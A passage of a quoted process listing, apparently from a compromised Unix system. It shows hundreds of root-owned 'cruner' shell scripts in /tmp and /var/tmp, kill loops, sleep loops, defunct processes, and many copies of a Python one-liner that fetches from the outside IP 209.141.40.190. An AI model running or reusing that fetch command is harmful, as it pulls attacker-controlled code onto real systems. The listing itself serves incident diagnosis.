fbi.urlopen("http://209.141.40.190/xms"). > root 20171 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9955 25321 0 15:45:01 ? 0:00 xargs kill -9 > root 8568 8541 0 15:43:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6436 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17642 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11437 11424 0 15:45:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25997 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13358 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21166 21116 0 15:44:19 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10310 9415 0 15:43:01 ? 0:00 bash -sh > root 27949 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17799 12436 0 15:46:04 ? 0:00 xargs kill -9 > root 24774 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26714 15394 0 15:45:34 ? 0:00 sleep 60 > root 1548 17888 0 15:46:02 ? 0:00 bash -sh > root 9895 14390 0 15:45:55 ? 0:00 bash -sh > root 28827 4225 0 15:45:18 ? 0:00 sleep 60 > root 25698 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13605 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9342 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 4090 20193 0 15:45:19 ? 0:00 bash -sh > root 18625 14426 0 - ? 0:00 <defunct> > root 6387 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 10379 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11159 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17167 2297 0 15:44:06 ? 0:00 bash -sh > root 7475 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23178 10061 0 - ? 0:00 <defunct> > root 28319 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19138 23468 0 15:45:06 ? 0:00 sleep 60 > root 2074 6332 0 15:45:19 ? 0:00 sleep 60 > root 22293 1 0 22:16:12 ? 0:00 sh /tmp/cruner > root 11310 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22123 17203 0 15:45:47 ? 0:00 bash -sh > root 7244 20037 0 - ? 0:00 <defunct> > root 18304 18276 0 - ? 0:00 <defunct> > root 10563 2530 0 15:45:25 ? 0:00 sleep 60 > root 15975 12001 0 - ? 0:00 <defunct> > root 16230 1 0 23:06:33 ? 0:00 sh /var/tmp/cruner > root 12791 29014 0 - ? 0:00 <defunct> > root 29150 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16413 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18533 22548 0 - ? 0:00 <defunct> > root 2412 8843 0 15:44:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2714 27272 0 15:45:53 ? 0:00 sleep 60 > root 6193 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20725 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 13038 12820 0 15:46:04 ? 0:00 /bin/ksh -p /bin/kill -9 > root 29496 29173 0 15:45:34 ? 0:00 sleep 60 > root 19199 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4902 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6886 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6673 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27613 28350 0 15:45:18 ? 0:00 sleep 60 > root 20649 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28147 7078 0 15:45:43 ? 0:00 bash -sh > root 19479 4504 0 15:44:53 ? 0:00 bash -sh > root 26309 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28647 1 0 21:31:37 ? 0:00 sh /var/tmp/cruner > root 2246 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 4316 19939 0 15:43:54 ? 0:00 bash -sh > root 4829 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13447 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26221 24021 0 - ? 0:00 <defunct> > root 9709 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10130 2177 0 15:45:15 ? 0:00 bash -sh > root 2675 20591 0 - ? 0:00 <defunct> > root 11979 11973 0 15:45:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22032 22016 0 15:43:28 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22411 17657 0 15:45:33 ? 0:00 sleep 60 > root 10759 10704 0 - ? 0:00 <defunct> > root 16583 15502 0 - ? 0:00 <defunct> > root 23605 26773 0 15:45:43 ? 0:00 sh /tmp/cruner > root 22665 7785 0 15:43:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14860 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8496 26990 0 15:45:10 ? 0:00 bash -sh > root 17129 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 19365 21071 0 - ? 0:00 <defunct> > root 16940 1590 0 15:43:33 ? 0:00 bash -sh > root 4046 22553 0 15:45:58 ? 0:00 sleep 60 > root 29893 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28782 25828 0 15:45:23 ? 0:00 bash -sh > root 21568 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22879 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12113 18138 0 15:45:32 ? 0:00 sleep 60 > root 21302 5767 0 - ? 0:00 <defunct> > root 6707 16578 0 15:45:35 ? 0:00 bash -sh > root 8012 6763 0 15:45:09 ? 0:00 bash -sh > root 24526 20330 0 - ? 0:00 <defunct> > root 2763 25738 0 - ? 0:00 <defunct> > root 27067 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27900 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16055 14798 0 15:44:16 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26675 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24167 21073 0 15:43:14 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12250 21010 0 15:45:55 ? 0:00 sleep 60 > root 8791 5680 0 15:45:40 ? 0:00 sh /tmp/cruner > root 849 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 1792 31 0 15:45:31 ? 0:00 sleep 60 > root 26831 29151 0 15:46:02 ? 0:00 bash -sh > root 6706 6650 0 15:44:56 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1685 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 13746 12170 0 15:45:55 ? 0:00 sleep 60 > root 26145 16884 0 15:45:07 ? 0:00 bash -sh > root 26271 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 23451 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13418 1134 0 15:44:52 ? 0:00 bash -sh > root 4658 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 29380 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25152 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27952 27062 0 15:45:34 ? 0:00 sleep 60 > root 346 14659 0 15:45:27 ? 0:00 xargs kill -9 > root 20546 17305 0 15:46:04 ? 0:00 bash -sh > root 15970 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 20020 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5481 6989 0 - ? 0:00 <defunct> > root 27742 12712 0 15:45:47 ? 0:00 bash -sh > root 28093 29906 0 15:45:34 ? 0:00 sleep 60 > root 7425 5237 0 - ? 0:00 <defunct> > root 28391 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20445 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14158 1748 0 - ? 0:00 <defunct> > root 14560 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 19388 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 28457 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 9832 4807 0 15:45:50 ? 0:00 xargs kill -9 > root 11043 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 10486 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17826 17814 0 15:45:29 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1688 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22491 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 24306 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17157 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3492 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7846 15503 0 - ? 0:00 <defunct> > root 1672 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19037 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6253 9554 0 - ? 0:00 <defunct> > root 16459 10133 0 15:43:03 ? 0:00 bash -sh > root 25576 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 19918 21860 0 15:44:40 ? 0:00 bash -sh > root 11701 12731 0 15:44:15 ? 0:00 bash -sh > root 38 23879 0 15:43:41 ? 0:00 bash -sh > root 19142 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9344 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6818 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17860 26629 0 - ? 0:00 <defunct> > root 2915 6738 0 15:45:48 ? 0:00 sleep 60 > root 20257 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 3617 22679 0 15:45:48 ? 0:00 bash -sh > root 3265 8729 0 15:45:40 ? 0:00 xargs kill -9 > root 18894 11531 0 15:45:42 ? 0:00 xargs kill -9 > root 1492 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26709 11112 0 15:45:43 ? 0:00 sleep 60 > root 24890 18046 0 15:44:32 ? 0:00 bash -sh > root 5716 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19854 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13437 11348 0 15:45:21 ? 0:00 sleep 60 > root 28311 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 1621 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1662 1647 0 15:45:03 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15869 11451 0 15:45:51 ? 0:00 bash -sh > root 22751 2511 0 - ? 0:00 <defunct> > root 6907 25151 0 15:45:45 ? 0:00 bash -sh > root 17267 22471 0 15:45:12 ? 0:00 bash -sh > root 17821 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14565 29987 0 15:44:52 ? 0:00 bash -sh > root 28263 9399 0 15:45:27 ? 0:00 sleep 60 > root 622 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 23715 23400 0 15:44:58 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28295 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17397 5011 0 - ? 0:00 <defunct> > root 16313 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13994 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8388 1904 0 - ? 0:00 <defunct> > root 10691 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15037 14148 0 - ? 0:00 <defunct> > root 14175 10042 0 - ? 0:00 <defunct> > root 28169 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20364 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7844 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 16704 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18858 19211 0 15:46:04 ? 0:00 sh /var/tmp/cruner > root 26193 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 29718 4063 0 15:45:48 ? 0:00 sh /var/tmp/cruner > root 13776 13440 0 15:45:59 ? 0:00 /bin/ksh -p /bin/kill -9 > root 29926 29921 0 15:44:37 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4043 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23008 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4820 27201 0 15:45:09 ? 0:00 xargs kill -9 > root 21062 21038 0 - ? 0:00 <defunct> > root 28014 20079 0 15:45:34 ? 0:00 sleep 60 > root 6691 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 23273 612 0 - ? 0:00 <defunct> > root 5919 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23826 23821 0 15:46:01 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22654 22649 0 15:43:22 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2744 3902 0 15:45:24 ? 0:00 bash -sh > root 5002 15970 0 15:45:54 ? 0:00 bash -sh > root 1713 6672 0 15:43:07 ? 0:00 bash -sh > root 26842 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13532 2259 0 - ? 0:00 <defunct> > root 2812 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17891 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10133 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16150 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13844 15604 0 - ? 0:00 <defunct> > root 27436 7079 0 15:43:54 ? 0:00 bash -sh > root 149 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19379 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29681 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3083 22636 0 - ? 0:00 <defunct> > root 6806 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 245 27739 0 - ? 0:00 <defunct> > root 806 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4393 18350 0 15:43:54 ? 0:00 bash -sh > root 17981 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20468 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16835 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4536 2925 0 15:45:58 ? 0:00 sleep 60 > root 27878 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3864 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26269 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15091 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19490 20790 0 - ? 0:00 <defunct> > root 27907 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6584 28311 0 15:45:54 ? 0:00 sleep 60 > root 869 25542 0 - ? 0:00 <defunct> > root 13851 22034 0 - ? 0:00 <defunct> > root 4045 2253 0 15:45:58 ? 0:00 sleep 60 > root 19283 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24680 24678 0 15:44:32 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 9093 5663 0 - ? 0:00 <defunct> > root 8048 6875 0 15:43:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8524 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24223 1233 0 15:45:43 ? 0:00 sh /var/tmp/cruner > root 19612 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24760 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22409 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26846 26837 0 15:45:43 ? 0:00 /bin/ksh -p /bin/kill -9 > root 18377 16827 0 15:42:49 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4992 21519 0 15:46:03 ? 0:00 bash -sh > root 27285 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1986 1984 0 - ? 0:00 <defunct> > root 14954 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 18334 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6367 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28638 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10911 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 10724 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20562 17023 0 15:45:12 ? 0:00 bash -sh > root 15587 10935 0 - ? 0:00 <defunct> > root 16022 14778 0 15:44:16 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6095 910 0 15:45:09 ? 0:00 sh /var/tmp/cruner > root 24151 16772 0 15:45:38 ? 0:00 bash -sh > root 19951 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8270 2492 0 - ? 0:00 <defunct> > root 3226 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 3585 6083 0 15:45:40 ? 0:00 sleep 60 > root 26105 26080 0 15:45:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28640 15076 0 15:45:34 ? 0:00 sleep 60 > root 1753 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7756 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 3006 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 26978 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 28278 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21464 17400 0 15:45:17 ? 0:00 bash -sh > root 15204 26761 0 15:45:05 ? 0:00 sleep 60 > root 7934 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24553 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19189 1885 0 15:46:04 ? 0:00 bash -sh > root 20485 26422 0 15:46:04 ? 0:00 bash -sh > root 18178 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22840 15013 0 15:45:47 ? 0:00 sh /var/tmp/cruner > root 16432 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21615 14476 0 - ? 0:00 <defunct> > root 12280 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15184 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 28606 9393 0 15:45:53 ? 0:00 sh /var/tmp/cruner > root 776 24988 0 15:45:39 ? 0:00 bash -sh > root 17735 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24444 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15250 19515 0 15:45:32 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5424 359 0 - ? 0:00 <defunct> > root 18622 17188 0 - ? 0:00 <defunct> > root 16631 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1783 3097 0 15:45:53 ? 0:00 bash -sh > root 8233 5524 0 15:45:45 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10112 17612 0 - ? 0:00 <defunct> > root 14314 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2239 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6325 24378 0 15:45:20 ? 0:00 sleep 60 > root 14725 17704 0 15:43:44 ? 0:00 bash -sh > root 25757 23992 0 15:45:43 ? 0:00 xargs kill -9 > root 13350 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5495 20491 0 15:44:13 ? 0:00 bash -sh > root 7014 8821 0 15:45:49 ? 0:00 sleep 60 > root 7581 10553 0 15:45:49 ? 0:00 sleep 60 > root 24676 13383 0 - ? 0:00 <defunct> > root 8374 11086 0 15:45:40 ? 0:00 sh /tmp/cruner > root 2731 18393 0 - ? 0:00 <defunct> > root 10420 24584 0 - ? 0:00 <defunct> > root 2992 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7148 16028 0 15:45:35 ? 0:00 sleep 60 > root 24979 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17579 7388 0 - ? 0:00 <defunct> > root 7948 15476 0 - ? 0:00 <defunct> > root 17307 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24732 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8815 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 16649 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20143 14844 0 - ? 0:00 <defunct> > root 16558 15364 0 - ? 0:00 <defunct> > root 25231 25182 0 15:46:01 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18456 1015 0 15:45:42 ? 0:00 xargs kill -9 > root 14616 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3669 1 0 01:30:39 ? 0:00 sh /var/tmp/cruner > root 13175 16530 0 15:45:32 ? 0:00 sleep 60 > root 24579 19993 0 - ? 0:00 <defunct> > root 22647 21343 0 15:45:42 ? 0:00 sleep 60 > root 22039 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15885 29639 0 15:45:26 ? 0:00 bash -sh > root 15098 835 0 15:46:00 ? 0:00 bash -sh > root 125 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23118 23111 0 15:45:57 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23024 24575 0 - ? 0:00 <defunct> > root 9620 9657 0 - ? 0:00 <defunct> > root 18392 15009 0 15:45:51 ? 0:00 bash -sh > root 22399 29996 0 - ? 0:00 <defunct> > root 27425 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26566 18151 0 15:45:07 ? 0:00 bash -sh > root 11649 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 3202 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 6038 20680 0 15:45:28 ? 0:00 sleep 60 > root 20514 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9026 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 14128 28918 0 15:45:11 ? 0:00 sh /var/tmp/cruner > root 29715 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4054 8657 0 - ? 0:00 <defunct> > root 19291 10985 0 15:43:56 ? 0:00 bash -sh > root 28178 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 5945 13719 0 15:45:20 ? 0:00 sleep 60 > root 8797 15343 0 15:45:31 ? 0:00 bash -sh > root 2297 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 8925 23623 0 15:45:40 ? 0:00 sh /tmp/cruner > root 13918 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20938 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 3062 27917 0 15:45:48 ? 0:00 sleep 60 > root 6795 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3904 14097 0 - ? 0:00 <defunct> > root 12183 10526 0 - ? 0:00 <defunct> > root 23893 22699 0 15:44:54 ? 0:00 sh /var/tmp/cruner > root 17421 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28013 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 29003 5213 0 15:45:43 ? 0:00 sleep 60 > root 8401 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20994 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 24856 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21044 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13438 20929 0 15:45:32 ? 0:00 xargs kill -9 > root 21517 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22816 14312 0 15:46:01 ? 0:00 /bin/ksh -p /bin/kill -9 > root 27484 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20758 22942 0 15:44:48 ? 0:00 bash -sh > root 3236 2868 0 - ? 0:00 <defunct> > root 14732 11918 0 15:46:00 ? 0:00 bash -sh > root 15765 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11414 11400 0 15:44:43 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 9368 11689 0 15:45:54 ? 0:00 xargs kill -9 > root 12522 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19310 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12028 590 0 - ? 0:00 <defunct> > root 16167 9745 0 15:45:06 ? 0:00 sleep 60 > root 22947 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17008 15354 0 - ? 0:00 <defunct> > root 294 16308 0 15:45:18 ? 0:00 bash -sh > root 24472 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6606 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11067 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7197 9576 0 15:45:20 ? 0:00 sleep 60 > root 11593 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1363 5652 0 - ? 0:00 <defunct> > root 16191 22858 0 - ? 0:00 <defunct> > root 21903 8930 0 - ? 0:00 <defunct> > root 21911 1851 0 15:45:33 ? 0:00 sleep 60 > root 9747 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10 11855 0 15:45:39 ? 0:00 xargs kill -9 > root 11644 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26534 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 16015 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2530 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18345 18427 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 27676 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22068 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2042 19006 0 15:45:48 ? 0:00 sleep 60 > root 11490 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6384 10946 0 15:45:04 ? 0:00 bash -sh > root 5006 17377 0 15:46:03 ? 0:00 bash -sh > root 5927 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28711 26502 0 15:45:34 ? 0:00 sleep 60 > root 8525 1 0 01:01:11 ? 0:00 sh /var/tmp/cruner > root 15497 7506 0 15:46:00 ? 0:00 bash -sh > root 15588 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27473 22456 0 15:44:01 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 973 9586 0 15:45:58 ? 0:00 sleep 60 > root 29328 15600 0 15:45:44 ? 0:00 sh /var/tmp/cruner > root 5340 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8612 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7729 15462 0 - ? 0:00 <defunct> > root 3656 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17128 3664 0 15:43:27 ? 0:00 bash -sh > root 20501 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 21531 16781 0 - ? 0:00 <defunct> > root 2755 9300 0 15:45:58 ? 0:00 bash -sh > root 16105 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 817 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24448 26051 0 - ? 0:00 <defunct> > root 24124 7723 0 15:45:57 ? 0:00 sleep 60 > root 9869 24400 0 15:44:14 ? 0:00 bash -sh > root 16812 23954 0 15:46:04 ? 0:00 sh /var/tmp/cruner > root 17814 29256 0 15:45:29 ? 0:00 bash -sh > root 12515 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17240 28415 0 - ? 0:00 <defunct> > root 21539 11380 0 - ? 0:00 <defunct> > root 7022 3508 0 - ? 0:00 <defunct> > root 13280 16330 0 15:45:11 ? 0:00 sleep 60 > root 26235 27455 0 15:42:44 ? 0:00 bash -sh > root 15887 29009 0 15:45:06 ? 0:00 sleep 60 > root 27331 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 28489 15152 0 15:44:10 ? 0:00 bash -sh > root 6677 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23842 28248 0 15:45:43 ? 0:00 sleep 60 > root 28107 20057 0 15:45:07 ? 0:00 bash -sh > root 18161 15294 0 15:45:29 ? 0:00 sleep 60 > root 4010 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14658 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 15522 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 6115 27886 0 15:45:09 ? 0:00 bash -sh > root 7687 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15602 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3060 19480 0 15:45:48 ? 0:00 xargs kill -9 > root 27734 27675 0 15:44:21 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6757 22418 0 15:45:35 ? 0:00 bash -sh > root 28673 4752 0 15:45:08 ? 0:00 bash -sh > root 13798 13762 0 15:43:51 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20870 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9021 8986 0 15:44:03 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23501 2736 0 - ? 0:00 <defunct> > root 730 25282 0 15:45:34 ? 0:00 